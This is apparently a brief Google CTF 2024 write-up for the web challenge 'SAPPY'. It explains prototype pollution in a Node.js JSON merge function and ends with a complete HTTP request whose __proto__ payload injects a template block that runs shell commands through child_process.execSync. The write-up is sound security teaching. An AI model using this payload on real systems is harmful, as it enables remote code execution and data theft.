SAPPY - Google CTF 2024 Writeup

Prototype pollution in a Node.js JSON merge function allows injecting arbitrary properties into Object.prototype, which then gets picked up by a template engine executing as admin.

🚩 Challenge Overview

  • Platform/Event: Google CTF 2024
  • Difficulty: Medium
  • Points: 267
  • Solves: 54
  • Category: Web
  • Tags: Prototype Pollution, Node.js, Template Engine RCE

📝 Description

Prototype pollution in a Node.js JSON merge function allows injecting arbitrary properties into Object.prototype, which then gets picked up by a template engine executing as admin.

💡 Solution / Approach

# Payload in the merge body:
POST /api/merge HTTP/1.1
Content-Type: application/json

{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('cat /flag').toString()"}}}